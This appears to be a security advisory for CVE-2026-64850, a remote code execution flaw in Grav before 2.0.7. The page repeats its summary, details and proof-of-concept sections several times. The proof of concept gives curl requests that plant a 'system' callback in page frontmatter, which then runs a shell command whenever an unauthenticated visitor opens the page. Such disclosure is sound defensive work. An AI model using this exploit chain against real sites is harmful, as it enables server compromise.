CVE-2026-64850

Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.

Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.

Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.

Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to call_user_func_array() without any allowlist. Because the form plugin routes page frontmatter through this path, an authenticated account with the admin.pages (or api.pages.write) permission can plant a malicious callable directive in a page. The command then executes as the web-server user whenever anyone — including an unauthenticated visitor — accesses the page.

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.